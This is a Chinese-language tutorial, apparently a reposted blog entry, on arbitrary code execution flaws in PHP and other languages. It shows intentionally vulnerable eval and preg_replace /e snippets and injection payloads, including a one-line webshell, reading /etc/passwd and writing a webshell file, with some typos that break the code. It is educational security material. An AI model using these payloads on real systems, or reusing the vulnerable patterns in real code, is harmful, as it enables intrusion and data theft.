任意代码执行漏洞简介

一、任意代码执行漏洞思维导图:



代码执行漏洞的成因:
应用程序在调用一些能够将字符串转换为代码的函数(例如php中的eval中),没有考虑用户是否控制这个字符串,将造成代码执行漏洞。

代码执行漏洞的常用函数
PHP:eval,assert,preg_replace()+/e 模式
Javascript:eval
Vbscript:Execute、Eval
Python: exec
Java: Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等,这些都能够造成代码执行漏洞。

代码执行漏洞的利用
eval()函数示例一、
<?php
$data=$_GET['data'];
eval("\$ret=$data;");
echo $ret;
?>
这种情况下直接输入相应的代码就可以利用


eval()函数示例二、
<?php
$data=$_GET['data'];
eval("\$ret=strtolower('$data');");
echo $ret;
?>
单引号内的数据会被当作字符串处理,并不会被解析执行,如果不闭合单引号的话,该段代码的意思就只是将输入的data数据做小写转换然后赋值给ret。
如果想要让输入的代码被解析执行,则需要先闭合单引号,例:
eval("\$ret=strtolower('') &任意代码&('');");

eval()函数实例三:可控点为某种函数的参数值且被双引号包裹。
<?php
$data=$_GET['data'];
eval("\$ret=strtolower(\"$data\");");
echo $ret;
?>
与单引号不同的是双引号内如果包含有变量,php解释器会将其替换为变量解释后的结果,单引号中的变量不会被处理。例:
eval("\$ret=strtolower(\"{${phpinfo()}}\");");

在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理

代码执行漏洞的利用
preg_replace()+/e(PHP版本<5.5.0)
源代码:
<?php
$data=$_GET['data'];
preg_replace('/<data>(.*)<\/data>/e, '$ret="\\1";',$data);
echo $ret;
?>

一句话木马: ${@eval($_POSR[1]) }
获得当前工作路径${exit(print(getcwd()))}
读文件:${exit(vardump(file_get_contents($_POST[f])))}
             f=/etc/passwd
写webshell:  ${exit(var_dump(file_put_contents($_POST[f],$_POST[d])))}
                     f=a.php&d=222

猜你喜欢

转载自blog.csdn.net/sdb5858874/article/details/80788933